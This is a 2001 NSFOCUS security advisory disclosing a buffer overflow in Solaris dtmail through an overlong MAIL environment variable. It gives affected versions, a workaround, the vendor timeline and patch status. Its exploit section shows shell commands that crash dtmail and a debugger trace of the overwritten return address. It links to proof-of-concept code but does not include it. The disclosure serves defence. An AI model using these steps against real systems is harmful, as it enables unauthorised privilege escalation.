NSFOCUS Security Advisory(SA2001-04) Topic: Solaris dtmail Buffer Overflow Vulnerability Release Date£º 2001-7-24 CVE CAN ID : CAN-2001-0548 BUGTRAQ ID : 3081 Affected system: ================ Sun Solaris 2.6 (SPARC/x86) Sun Solaris 7 (SPARC/x86) Not affected system: ==================== Sun Solaris 8 Impact: ========= NSFOCUS Security Team has found a buffer overflow vulnerability in the dtmail of Solaris handling MAIL environment variable, exploitation of which could allow an attacker to run arbitrary code with the privilege of mail group. Description£º ============ dtmail is a mail user agent (MUA) shipped as a part of Solaris CDE. It is installed setgid mail by default. The vulnerability results because dtmail do not provide valid boundary check to certain environment variables, which allows an attacker to launch a buffer overflow attack. In case that the MAIL environment variable is a over-length character string (for instance, longer than 1500 bytes), a stack buffer overflow would occur. The attacker could overwrite the returned address and run arbitrary code with mail group privilege. Exploit: ========== [test@ /tmp]> uname -a SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10 [test@ /tmp]> showrev -p|grep 107200-12 Patch: 107200-12 Obsoletes: Requires: 108374-01, 107887-08 Incompatibles: Packages: SUNWdtdst, SUNWdtma [test@ /tmp]> ls -l /usr/dt/bin/dtmail -r-xr-sr-x 1 bin mail 1553244 Jun 12 2001 /usr/dt/bin/dtmail* [test@ /tmp]> cp /usr/dt/bin/dtmail . [test@ /tmp]> export DISPLAY=127.0.0.1:0.0 [test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL [test@ /tmp]> ulimit -c 200000 [test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail [A dtmail dialog box would prompt out in your X window, click "Local"] [test@ /tmp]> ls -l core -rw------- 1 test users 1991892 Jun 22 11:47 core [test@ /tmp]> dbx ./dtmail ./core ... Reading dtmail core file header read successfully Reading ld.so.1 Reading libSDtMail.so.2 Reading libnsl.so.1 Reading libsocket.so.1 .... Reading libXext.so.0 Reading libc_psr.so.1 detected a multithreaded program t@1 (l@1) terminated by signal BUS (invalid address alignment) dbx: core file read error: address 0x41414161 not in data space dbx: attempt to read stack failed - bad frame pointer 0x001013e4: solaris_valid+0x002c: ret (/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx) There is a proof of concept code for this issue: http://www.nsfocus.com/proof/sol_sparc_dtmail_MAIL_ex.c Workaround: =================== Drop the sgid mail attribute of dtmail: # chmod g-s /usr/dt/bin/dtmail Vendor Status: ============== 2001.6.18 We have informed Sun of this issue. 2001.6.21 Sun replied that the overflow would occur even in case that the MAIL environment variable has only 1 byte. 2001.6.22 We have reported our testing result, but do not receive any reply up to now. Solaris 2.6 with the following patches is not affected: SunOS 5.6 SPARC : 105338-27 SunOS 5.6 x86 : 105339-25 Solaris 7 with the following latest patches is still affected: SunOS 5.7 SPARC : 107200-12 SunOS 5.7 x86 : 107201-12 Solaris 8 is not affected. Security patches of Sun Inc. are available at: http://sunsolve.sun.com/securitypatch Additional Information: ======================== The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2001-0548 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. Candidates may change significantly before they become official CVE entries. DISCLAIMS: ========== THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUTION OF THE INFORMATION IS PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY. Copyright 1999-2001 NSFOCUS. All Rights Reserved. Terms of use. NSFOCUS Security Team <securityat_private> NSFOCUS INFORMATION TECHNOLOGY CO.,LTD (http://www.nsfocus.com)
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